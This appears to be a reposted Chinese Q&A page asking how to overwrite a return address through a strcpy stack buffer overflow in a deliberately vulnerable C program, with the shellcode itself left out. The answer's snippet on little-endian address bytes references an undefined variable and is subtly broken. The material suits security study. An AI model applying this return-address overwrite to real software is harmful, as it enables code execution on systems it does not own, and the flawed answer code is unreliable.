如何解决使用缓冲区溢出用无符号长变量覆盖C中的返回地址
我正在尝试使用 strcpy()函数在关闭堆栈保护的情况下覆盖数据。我在这里遇到的问题是,使用strcpy()编写一个无符号的长变量(地址)会因为little-endian(?)而改变该值。我想知道是否有任何方法可以使用strcpy()将unsigned long的确切值复制到堆栈中,或者我应该改用另一个函数。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
// some shellcode in format like "\x31\xc0"
const char shellcode[] = ...;
// vulnerable function bof
void bof(char *str){
char buffer[12];
printf("Come into function bof\n");
strcpy(buffer,str);
}
int main(int argc,char **argv){
char buffer[517];
//random filling of buffer that may not be necessary
strcpy(buffer,"abcdefghijkl1234");
//I believe buffer[16] is the location of return addr when the program goes in bof()
//I write the shell code into buffer[20] first
strcpy(&buffer[20],shellcode);
//Trying to make value of location buffer[16] into address of buffer[20]
strcpy(&buffer[16],&buffer[20]);
// bof is called here
bof(buffer);
printf("Exit from function bof\n");
}
解决方法
strcpy(&buffer[16],&buffer[20]);
会将shellcode复制到&buffer[16]
,而不是shellcode的地址&buffer[20]
。您必须将&buffer[20]
转换为字节数组,然后将其复制到&buffer[16]
。
例如,&buffer[20] == 0xbfff1234
。然后,您应该有一个char shell_addr[5] = "\x34\x12\xff\xbf\x00"
并执行strcpy(&buffer[16],a);
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。